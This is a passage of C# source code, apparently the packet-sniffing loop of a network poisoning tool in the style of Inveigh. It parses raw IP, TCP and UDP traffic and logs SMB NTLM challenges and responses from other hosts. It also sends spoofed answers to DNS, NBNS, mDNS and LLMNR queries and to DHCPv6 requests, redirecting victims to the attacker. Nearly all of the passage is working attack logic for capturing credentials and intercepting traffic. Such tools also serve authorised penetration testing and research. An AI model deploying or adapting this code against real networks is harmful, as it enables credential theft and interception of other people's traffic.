byte versionHL = binaryReader.ReadByte();
binaryReader.ReadByte();
uint totalLength = Util.DataToUInt16(binaryReader.ReadBytes(2)); //this is 0 with tcp offload
binaryReader.ReadBytes(5);
protocolNumber = (int)binaryReader.ReadByte();
binaryReader.ReadBytes(2);
sourceIP = binaryReader.ReadBytes(4);
sourceIPAddress = new IPAddress(sourceIP);
destinationIP = binaryReader.ReadBytes(4);
destinationIPAddress = new IPAddress(destinationIP);
byte headerLength = versionHL;
headerLength <<= 4;
headerLength >>= 4;
headerLength *= 4;
}
else
{
sourceIPAddress = IPAddress.Parse(snifferEndPointRemote.ToString().Substring(0, snifferEndPointRemote.ToString().Length - 2));
protocolNumber = (int)snifferSocket.ProtocolType;
}
switch (protocolNumber)
{
case 6:
uint tcpSourcePort = Util.DataToUInt16(binaryReader.ReadBytes(2));
uint tcpDestinationPort = Util.DataToUInt16(binaryReader.ReadBytes(2));
binaryReader.ReadBytes(8);
byte tcpHeaderLength = binaryReader.ReadByte();
tcpHeaderLength >>= 4;
tcpHeaderLength *= 4;
byte tcpFlags = binaryReader.ReadByte();
binaryReader.ReadBytes(tcpHeaderLength - 15);
byte[] payloadBytes = binaryReader.ReadBytes(packetLength);
string challenge = "";
string session = "";
string tcpSession = sourceIPAddress.ToString() + ":" + Convert.ToString(tcpSourcePort);
string tcpFlagsBinary = Convert.ToString(tcpFlags, 2);
tcpFlagsBinary = tcpFlagsBinary.PadLeft(8, '0');
if (String.Equals(tcpFlagsBinary.Substring(6, 1), "1") && String.Equals(tcpFlagsBinary.Substring(3, 1), "0") && destinationIPAddress.ToString() == snifferIP)
{
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] TCP({1}) SYN packet from {2}", DateTime.Now.ToString("s"), tcpDestinationPort, tcpSession));
}
}
switch (tcpDestinationPort)
{
case 139:
if (payloadBytes.Length > 0)
{
SMBConnection(payloadBytes, snifferIP, sourceIPAddress.ToString(), destinationIPAddress.ToString(), Convert.ToString(tcpSourcePort), "139");
}
session = sourceIPAddress.ToString() + ":" + Convert.ToString(tcpSourcePort);
if (Program.smbSessionTable.ContainsKey(session))
{
NTLM.GetNTLMResponse(payloadBytes, sourceIPAddress.ToString(), Convert.ToString(tcpSourcePort), "SMB", "139");
}
break;
case 445:
if (payloadBytes.Length > 0)
{
SMBConnection(payloadBytes, snifferIP, sourceIPAddress.ToString(), destinationIPAddress.ToString(), Convert.ToString(tcpSourcePort), "445");
}
session = sourceIPAddress.ToString() + ":" + Convert.ToString(tcpSourcePort);
if (Program.smbSessionTable.ContainsKey(session))
{
NTLM.GetNTLMResponse(payloadBytes, sourceIPAddress.ToString(), Convert.ToString(tcpSourcePort), "SMB", "445");
}
break;
}
switch (tcpSourcePort)
{
case 139:
if (payloadBytes.Length > 0)
{
challenge = NTLM.GetSMBNTLMChallenge(payloadBytes);
}
session = destinationIPAddress.ToString() + ":" + Convert.ToString(tcpDestinationPort);
if (!string.IsNullOrEmpty(challenge) && destinationIP != sourceIP)
{
if (!String.Equals(destinationIP, snifferIP))
{
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] SMB({1}) NTLM challenge {2} sent to {3}", DateTime.Now.ToString("s"), tcpSourcePort, challenge, session));
}
}
else
{
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] SMB({1}) NTLM challenge {2} from {3}", DateTime.Now.ToString("s"), tcpSourcePort, challenge, session));
}
}
Program.smbSessionTable[session] = challenge;
}
break;
case 445:
if (payloadBytes.Length > 0)
{
challenge = NTLM.GetSMBNTLMChallenge(payloadBytes);
}
session = destinationIPAddress.ToString() + ":" + Convert.ToString(tcpDestinationPort);
if (!String.IsNullOrEmpty(challenge) && destinationIP != sourceIP)
{
if (!String.Equals(destinationIP, snifferIP))
{
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] SMB({1}) NTLM challenge {2} sent to {3}", DateTime.Now.ToString("s"), tcpSourcePort, challenge, session));
}
}
else
{
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] SMB({1}) NTLM challenge {2} from {3}", DateTime.Now.ToString("s"), tcpSourcePort, challenge, session));
}
}
Program.smbSessionTable[session] = challenge;
}
break;
}
if (Program.enabledPcap && String.Equals(ipVersion, "IPv4") && (pcapTCP != null && pcapTCP.Length > 0 && (Array.Exists(pcapTCP, element => element == tcpSourcePort.ToString()) ||
Array.Exists(pcapTCP, element => element == tcpDestinationPort.ToString()) || Array.Exists(pcapTCP, element => element == "ALL"))))
{
PcapOutput((uint)packetLength, byteData);
}
break;
case 17:
byte[] udpSourcePort = binaryReader.ReadBytes(2);
uint endpointSourcePort = Util.DataToUInt16(udpSourcePort);
uint udpDestinationPort = Util.DataToUInt16(binaryReader.ReadBytes(2));
uint udpLength = Util.DataToUInt16(binaryReader.ReadBytes(2));
binaryReader.ReadBytes(2);
byte[] udpPayload;
try
{
udpPayload = binaryReader.ReadBytes(((int)udpLength - 2) * 4);
}
catch
{
udpPayload = new byte[2];
}
switch (udpDestinationPort)
{
case 53:
string dnsRequestHost = Util.ParseNameQuery(12, udpPayload);
byte[] dnsRequest = new byte[dnsRequestHost.Length + 2];
System.Buffer.BlockCopy(udpPayload, 12, dnsRequest, 0, dnsRequest.Length);
string[] dnsRequestSplit = dnsRequestHost.Split('.');
byte[] dnsRequestRecordType = new byte[2];
System.Buffer.BlockCopy(udpPayload, (dnsRequest.Length + 12), dnsRequestRecordType, 0, 2);
string dnsRecordType = Util.GetRecordType(dnsRequestRecordType);
string dnsResponseMessage = Util.CheckRequest(dnsRequestHost, sourceIPAddress.ToString(), snifferIP.ToString(), "DNS", dnsRecordType, dnsTypes);
if (Program.enabledDNS && String.Equals(dnsResponseMessage, "response sent"))
{
if ((int)udpPayload[2] != 40)
{
byte[] dnsResponse = DNS.GetDNSResponse("sniffer", ipVersion, dnsDomainController, dnsTTL, dnsRecordType, sourceIPAddress, destinationIPAddress, spooferIPData, udpSourcePort, udpPayload);
UDP.UDPSnifferClient(null, 0, sourceIPAddress, (int)endpointSourcePort, ipVersion, dnsResponse);
}
else
{
byte[] dnsResponse = DNS.GetDNSResponse("sniffer", ipVersion, dnsDomainController, dnsTTL, dnsRecordType, sourceIPAddress, destinationIPAddress, spooferIPData, udpSourcePort, udpPayload);
UDP.UDPSnifferClient(null, 0, sourceIPAddress, (int)endpointSourcePort, ipVersion, dnsResponse);
}
}
if (String.Equals(destinationIPAddress.ToString(), snifferIP.ToString()))
{
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] DNS({1}) request for {2} from {3} [{4}]", DateTime.Now.ToString("s"), dnsRecordType, dnsRequestHost, sourceIPAddress, dnsResponseMessage));
}
}
else
{
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] DNS({1}) request for {2} sent to {3} [{4}]", DateTime.Now.ToString("s"), dnsRecordType, dnsRequestHost, destinationIPAddress, "outgoing query"));
}
}
break;
case 137:
if (String.Equals(ipVersion, "IPv4"))
{
byte[] nbnsQuestionsAnswerRRs = new byte[4];
System.Buffer.BlockCopy(udpPayload, 4, nbnsQuestionsAnswerRRs, 0, 4);
byte[] nbnsAdditionalRRs = new byte[2];
System.Buffer.BlockCopy(udpPayload, 10, nbnsAdditionalRRs, 0, 2);
if (String.Equals(BitConverter.ToString(nbnsQuestionsAnswerRRs), "00-01-00-00") && !String.Equals(BitConverter.ToString(nbnsAdditionalRRs), "00-01"))
{
byte[] nbnsRequestType = new byte[2];
System.Buffer.BlockCopy(udpPayload, 43, nbnsRequestType, 0, 2);
string nbnsQueryType = NBNS.NBNSQueryType(nbnsRequestType);
byte[] nbnsType = new byte[1];
System.Buffer.BlockCopy(udpPayload, 47, nbnsType, 0, 1);
byte[] nbnsRequest = new byte[udpPayload.Length - 20];
System.Buffer.BlockCopy(udpPayload, 13, nbnsRequest, 0, nbnsRequest.Length);
string nbnsRequestHost = NBNS.BytesToNBNSQuery(nbnsRequest);
string nbnsResponseMessage = Util.CheckRequest(nbnsRequestHost, sourceIPAddress.ToString(), snifferIP.ToString(), "NBNS", nbnsQueryType, nbnsTypes);
if (Program.enabledNBNS && String.Equals(nbnsResponseMessage, "response sent"))
{
if (Array.Exists(nbnsTypes, element => element == nbnsQueryType) && !String.Equals(BitConverter.ToString(nbnsType), "21"))
{
byte[] nbnsResponse = NBNS.GetNBNSResponse("sniffer", nbnsTTL, spooferIPData, udpSourcePort, udpPayload);
UDP.UDPSnifferClient(null, 0, sourceIPAddress, (int)endpointSourcePort, ipVersion, nbnsResponse);
}
else if (String.Equals(BitConverter.ToString(nbnsType), "21"))
{
nbnsResponseMessage = "NBSTAT request";
}
else
{
nbnsResponseMessage = "NBNS type disabled";
}
}
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] NBNS request for {1}<{2}> from {3} [{4}]", DateTime.Now.ToString("s"), nbnsRequestHost, nbnsQueryType, sourceIPAddress, nbnsResponseMessage));
}
}
}
break;
case 547:
if (String.Equals(ipVersion, "IPv6"))
{
byte[] dhcpv6MessageTypeID = new byte[1];
Buffer.BlockCopy(udpPayload, 0, dhcpv6MessageTypeID, 0, 1);
byte[] dhcpv6ClientMACData = new byte[6];
Buffer.BlockCopy(udpPayload, 22, dhcpv6ClientMACData, 0, 6);
string dhcpv6ClientMAC = BitConverter.ToString(dhcpv6ClientMACData).Replace("-", ":");
byte[] dhcpv6IAID = new byte[4];
if ((int)dhcpv6MessageTypeID[0] == 1)
{
Buffer.BlockCopy(udpPayload, 32, dhcpv6IAID, 0, 4);
}
else
{
Buffer.BlockCopy(udpPayload, 46, dhcpv6IAID, 0, 4);
}
byte[] dhcpv6ClientIP = new byte[16];
string dhcpv6LeaseIP = "";
string dhcpv6FQDN = "";
if ((int)dhcpv6MessageTypeID[0] == 1 || (int)dhcpv6MessageTypeID[0] == 3 || (int)dhcpv6MessageTypeID[0] == 5)
{
for (i = 12; i < udpPayload.Length; i++)
{
if (Util.UInt16DataLength(i, udpPayload) == 39)
{
dhcpv6FQDN = Util.ParseNameQuery((i + 4), udpPayload);
}
}
int index = BitConverter.ToString(udpPayload).Replace("-", String.Empty).IndexOf("4D53465420352E30");
if (index >= 0 && Program.dhcpv6ClientTable.ContainsKey(dhcpv6ClientMAC))
{
dhcpv6LeaseIP = Program.dhcpv6ClientTable[dhcpv6ClientMAC].ToString();
dhcpv6ClientIP = IPAddress.Parse(dhcpv6LeaseIP).GetAddressBytes();
}
else if (index >= 0 && !Program.dhcpv6ClientTable.ContainsKey(dhcpv6ClientMAC))
{
dhcpv6LeaseIP = "fe80::" + ipv6RandomValue + ":" + dhcpv6IPIndex;
dhcpv6ClientIP = IPAddress.Parse(dhcpv6LeaseIP).GetAddressBytes();
Program.dhcpv6ClientTable.Add(dhcpv6ClientMAC, dhcpv6LeaseIP);
dhcpv6IPIndex++;
lock (Program.dhcpv6FileList)
{
Program.dhcpv6FileList.Add(dhcpv6ClientMAC + "," + dhcpv6LeaseIP);
}
}
string dhcpv6ResponseMessage = DHCPv6.DHCPv6Output(dhcpv6ClientMAC, dhcpv6FQDN, dhcpv6LeaseIP, sourceIPAddress.ToString(), index, (int)dhcpv6MessageTypeID[0]);
if (String.Equals(dhcpv6ResponseMessage, "response sent"))
{
byte[] dhcpv6Response = DHCPv6.GetDHCPv6Response("sniffer", dhcpv6DomainSuffix, sourceIPAddress, destinationIPAddress, dhcpv6ClientIP, spooferIPv6Data, snifferMACArray, udpSourcePort, udpPayload);
UDP.UDPSnifferClient(destinationIPAddress, 547, sourceIPAddress, 546, ipVersion, dhcpv6Response);
}
}
}
break;
case 5353:
if (String.Equals(ipVersion, "IPv4"))
{
string mdnsResponseMessage = "";
byte[] mdnsType = new byte[2];
if (BitConverter.ToString(udpPayload).EndsWith("-00-01-80-01") && String.Equals(BitConverter.ToString(udpPayload).Substring(12, 23), "00-01-00-00-00-00-00-00"))
{
//udpLength += 10;
byte[] ttlMDNS = BitConverter.GetBytes(Int32.Parse(mdnsTTL));
Array.Reverse(ttlMDNS);
byte[] mdnsTransactionID = new byte[2];
string mdnsRequestHostFull = Util.ParseNameQuery(12, udpPayload);
System.Buffer.BlockCopy(udpPayload, 0, mdnsTransactionID, 0, 2);
byte[] mdnsRequest = new byte[mdnsRequestHostFull.Length + 2];
System.Buffer.BlockCopy(udpPayload, 12, mdnsRequest, 0, mdnsRequest.Length);
string[] mdnsRequestSplit = mdnsRequestHostFull.Split('.');
if (mdnsRequestSplit != null && mdnsRequestSplit.Length > 0)
{
mdnsResponseMessage = Util.CheckRequest(mdnsRequestSplit[0], sourceIPAddress.ToString(), snifferIP.ToString(), "MDNS", "QU", mdnsQuestions);
}
if (Program.enabledMDNS && String.Equals(mdnsResponseMessage, "response sent"))
{
if (Array.Exists(mdnsQuestions, element => element == "QU"))
{
byte[] mdnsResponse = MDNS.GetMDNSResponse("sniffer", ipVersion, mdnsTTL, sourceIPAddress, destinationIPAddress, spooferIPData, spooferIPv6Data, udpSourcePort, udpPayload);
UDP.UDPSnifferClient(null, 0, sourceIPAddress, (int)endpointSourcePort, ipVersion, mdnsResponse);
}
else
{
mdnsResponseMessage = "mDNS type disabled";
}
}
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] mDNS(QU) request for {1} from {2} [{3}]", DateTime.Now.ToString("s"), mdnsRequestHostFull, sourceIPAddress, mdnsResponseMessage));
}
}
else if (BitConverter.ToString(udpPayload).EndsWith("-00-01") && (String.Equals(BitConverter.ToString(udpPayload).Substring(12, 23), "00-01-00-00-00-00-00-00") ||
String.Equals(BitConverter.ToString(udpPayload).Substring(12, 23), "00-02-00-00-00-00-00-00")))
{
//udpLength += 4;
byte[] ttlMDNS = BitConverter.GetBytes(Int32.Parse(mdnsTTL));
Array.Reverse(ttlMDNS);
byte[] mdnsTransactionID = new byte[2];
System.Buffer.BlockCopy(udpPayload, 0, mdnsTransactionID, 0, 2);
string mdnsRequestHostFull = Util.ParseNameQuery(12, udpPayload);
byte[] mdnsRequest = new byte[mdnsRequestHostFull.Length + 2];
System.Buffer.BlockCopy(udpPayload, 12, mdnsRequest, 0, mdnsRequest.Length);
string[] mdnsRequestSplit = mdnsRequestHostFull.Split('.');
if (mdnsRequestSplit != null && mdnsRequestSplit.Length > 0)
{
mdnsResponseMessage = Util.CheckRequest(mdnsRequestSplit[0], sourceIPAddress.ToString(), snifferIP.ToString(), "MDNS", "QM", mdnsQuestions);
}
if (Program.enabledMDNS && String.Equals(mdnsResponseMessage, "response sent"))
{
if (Array.Exists(mdnsQuestions, element => element == "QM"))
{
byte[] mdnsResponse = MDNS.GetMDNSResponse("sniffer", ipVersion, mdnsTTL, sourceIPAddress, destinationIPAddress, spooferIPData, spooferIPv6Data, udpSourcePort, udpPayload);
UDP.UDPSnifferClient(null, 0, IPAddress.Parse("224.0.0.251"), 5353, ipVersion, mdnsResponse);
}
else
{
mdnsResponseMessage = "mDNS type disabled";
}
}
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] mDNS(QM) request for {1} from {2} [{3}]", DateTime.Now.ToString("s"), mdnsRequestHostFull, sourceIPAddress, mdnsResponseMessage));
}
}
}
break;
case 5355:
string llmnrResponseMessage = "";
byte[] ttlLLMNR = BitConverter.GetBytes(Int32.Parse(llmnrTTL));
Array.Reverse(ttlLLMNR);
byte[] llmnrType = new byte[2];
System.Buffer.BlockCopy(udpPayload, (udpPayload.Length - 4), llmnrType, 0, 2);
if (String.Equals(ipVersion, "IPv4") && !String.Equals(BitConverter.ToString(llmnrType), "00-1C") || String.Equals(ipVersion, "IPv6") && String.Equals(BitConverter.ToString(llmnrType), "00-1C"))
{
udpLength += (byte)(udpPayload.Length - 2);
Array.Reverse(udpSourcePort);
byte[] llmnrTransactionID = new byte[2];
System.Buffer.BlockCopy(udpPayload, 0, llmnrTransactionID, 0, 2);
byte[] llmnrRequest = new byte[udpPayload.Length - 18];
byte[] llmnrRequestLength = new byte[1];
System.Buffer.BlockCopy(udpPayload, 12, llmnrRequestLength, 0, 1);
System.Buffer.BlockCopy(udpPayload, 13, llmnrRequest, 0, llmnrRequest.Length);
string llmnrRequestHost = Util.ParseNameQuery(12, udpPayload);
string llmnrVersion = "LLMNR";
if (String.Equals(ipVersion, "IPv6"))
{
llmnrVersion = "LLMNRv6";
}
llmnrResponseMessage = Util.CheckRequest(llmnrRequestHost, sourceIPAddress.ToString(), snifferIP.ToString(), llmnrVersion, null, null);
if (String.Equals(llmnrResponseMessage, "response sent"))
{
byte[] llmnrResponse = LLMNR.GetLLMNRResponse("sniffer", ipVersion, llmnrTTL, sourceIPAddress, destinationIPAddress, spooferIPData, spooferIPv6Data, udpSourcePort, udpPayload);
UDP.UDPSnifferClient(null, 0, sourceIPAddress, (int)endpointSourcePort, ipVersion, llmnrResponse);
}
lock (Program.outputList)
{
Program.outputList.Add(String.Format("[+] [{0}] {1} request for {2} from {3} [{4}]", DateTime.Now.ToString("s"), llmnrVersion, llmnrRequestHost, sourceIPAddress, llmnrResponseMessage));
}
}
break;
}
if (Program.enabledPcap && String.Equals(ipVersion, "IPv4") && (pcapUDP != null && pcapUDP.Length > 0 && (Array.Exists(pcapUDP, element => element == udpSourcePort.ToString()) ||
Array.Exists(pcapUDP, element => element == udpDestinationPort.ToString()) || Array.Exists(pcapUDP, element => element == "ALL"))))
{
PcapOutput((uint)packetLength, byteData);
}
break;
}
}
}
catch (Exception ex)
{
Program.outputList.Add(String.Format("[-] [{0}] Packet sniffing error detected - {1}", DateTime.Now.ToString("s"), ex.ToString()));
}
}
}